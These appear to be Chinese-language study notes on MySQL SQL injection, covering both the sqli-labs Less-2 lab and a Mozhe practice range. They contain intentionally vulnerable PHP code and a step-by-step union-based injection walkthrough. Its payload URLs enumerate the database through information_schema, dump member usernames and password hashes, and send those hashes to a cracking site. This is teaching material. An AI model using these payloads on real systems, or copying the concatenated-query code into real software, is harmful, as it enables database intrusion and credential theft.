目录
一、猜解列名数量(字段数) order by 错误与正确数值
数据库类型—Mysql
SQL注入安全测试中危害
SQL直接去对数据库中的数据进行操作(查询,更新,删除)
SQL注入不同注入点是有条件的(权限)
- ①.危害到数据库里边的数据
- ②.直接危害到网站的权限(需要满足条件)
SQL注入产生原理分析
简易代码分析SQL注入原理
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];//第一步:接收数据
//
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//第二步:数据的拼接
$result=mysql_query($sql);//第三步:数据进行数据库执行
$row = mysql_fetch_array($result);//第四步:执行结果进行展示
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>
当你访问的时候id为1,则对应代码里边的id也为1,当代码里边的id对应等于X时,访问时候的id也对应等于X
注意:第一到第四步在处理得当的时候不会出现注入点,处理不得到当候会出现注入点
SQL注入就是注入SQL语句。往SQL语句中注入。SQL语句被更改或者改写会打扰一些操作
MYSQL一些语句演示:
一、查询一下email邮箱及目录
二、在查询语句中注入其他SQL语句就会查询到其他表的数据(如果其他表如果是 管理员,就有可能查到管理员的账户密码)
http://localhost/sqli-labs-master/Less-2/index.php?id=2//访问这个地址的时候就是图三(网页)
SELECT * FROM users WHERE id=2 LIMIT 0,1//执行语句的时候就是图三(命令窗口)
http://localhost/sqli-labs-master/Less-2/index.php?id=-2
SELECT * FROM users WHERE id=-2 LIMIT 0,1
http://localhost/sqli-labs-master/Less-2/index.php?id=-2 union select 1,email_id,3 from emails//访问这个地址的时候就是图一
SELECT * FROM users WHERE id=-2 union select 1,email_id,3 from emails LIMIT 0,1;//执行语句的时候就是图二
图一:
图二:
图三:
注入:其实就是通过参数传递一个数据过去(例如上边的2),数据拼接到SQL语句中,然后就可以依据此(跟2一起)拼接一些恶意的SQL语句,来实行一些恶意SQL语句的执行效果
SQL注入:通过就是将一些查询的SQL语句通过参数传递到原有的SQL语句中,实现自定义的一个查询
SQL产生条件:
①.SQL语句在定义时候有变量
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
②.SQL语句中存在可控变量
$id=$_GET['id'];
③.可控变量可以代入数据库查询
④.变量过滤不严谨或者没有过滤
简要SQL注入习题:
1.可能存在注入编号选项有哪几个?(1,2,3,4)
a.www.xiaodi8.com/index.php?id=8
b.www.xiaodi8.com/?id=10
c.www.xiaodi8.com/?id=10&x=1
d.www.xiaodi8.com/index.php
解析:
a:存在参数
b:没写index.php并不代表没有,只是默认
c:只是多了一个参数,前边注入,后边注入选择不同
d:第四个有可能是post注入.
2.参数x有注入,以下哪个注入测试正确?(b,c)
a.www.xiaodi.com/news.php?y=1 and l=1&x=2
b.www.xiaodi.com/news.php?y=1&x=2 and l=1
c.www.xiaodi.com/news.php?y=1 and 1=1&x=2 and l=1
d.www.xiaodi.com/news.php?xx=1 and 1=1&xxx=2 and l=1
解析:X有注入,所以注入语句应该写在x后边;?的意思参数,&的意思是连接;l=1相当于是注入语句
3.http://www.krismile.net/index.php?id=52&page=1 如果id参数存在注入,请实现:
http://www.krismile.net/index.php?id=52 and l=1 &page=1
http://www.krismile.net/index.php?page=1 &id=52 and l=1
搭建第一个SQL注入学习靶场环境
Sqlilabs注入靶场搭建简要使用. 注意:phpstudy的php版本;
学习第一个数据库MYSQL简要注入;
MYSQL注入—xlaodl
数据库用户不是电脑的管理员用户是数据库的管理用户,专门管理数据库;
MYSQL数据库
数据库A=网站A(1)
表名(2)
列名(3)
数据(4)
获取数据(1-2-3-4)
数据库B=网站B
...........
数据库C=网站C
.............
数据库详细了解
一个数据库代表一个网站
use 数据库名//使用数据库
show tables//查询数据库的所有表名
select * from rj2hbr7i0n;//查看数据库中列名,数据
小知识:
如何判断注入点?
一、老办法:
and l=1 页面正常
and l=1 页面错误
可能存在注入点;
二、最舒服的办法:(操作窗口执行)
注:404错误——跳转(网站对输入的东西有检测,大部分没有漏洞)
union联合注入操作流程
演示网站:
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
判断注入
一、猜解列名数量(字段数) order by 错误与正确数值
http://124.70.22.208:48857/new_list.php?id=1 order by 4//网站访问正常
http://124.70.22.208:48857/new_list.php?id=1 order by 5//网站访问正常
二、猜解准备
http://124.70.22.208:48857/new_list.php?id=1%20union%20select%201,2,3,4//网站访问正常
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,2,3,4//网站访问错误,发现错误显示的是2,3
三、信息收集:
- 数据库版本:version(): 5.7.22-0ubuntu0.16.04.1(5.0以上高版本,5.0以下低版本)
- 数据库名字:databases(): mozhe_Discuz_StormGroup
- 数据库用户:user(): root@localhost
- 操作系用: @@version_compile_os:Linux
1.哪个数字报错,你就在那个数字查询
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,database(),version(),4查询数据库名字,版本
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4//查询数据库用户名,操作系统
2.查询指定数据库名mozhe_Discuz_StormGroup下的表明信息
http://124.70.22.208:48857/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
3.查询指定表名StormGroup_member下的表明信息
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27StormGroup_member%27
4.查询指定数据
http://124.70.22.208:48857/new_list.php?id=-1%20union%20select%201,name,password,4%20from%20StormGroup_member
5.在对获取到的密码进行解密:
https://www.cmd5.com/ //dsan13
知识点:
1.在MYSQL5.0版本以上mysql存在一个自带数据库名为informtion_schema,他是一个存储记录所有数据库名,表明,列名的数据库,也相当于可以通过查询他获取指定数据库下的表名列名信息.
2.数据库中符号“.”代表下一级,如xiaodi.user表示数据库下的user表名。
3.一些代码含义:
- information_schema.tables:记录所有表名信息的表
- information_shcema.columns:记录所有列名信息的表
- table_name:表名 group_concat(table_name)//查询所有表名
- column_name:列名
- table_schema:数据库名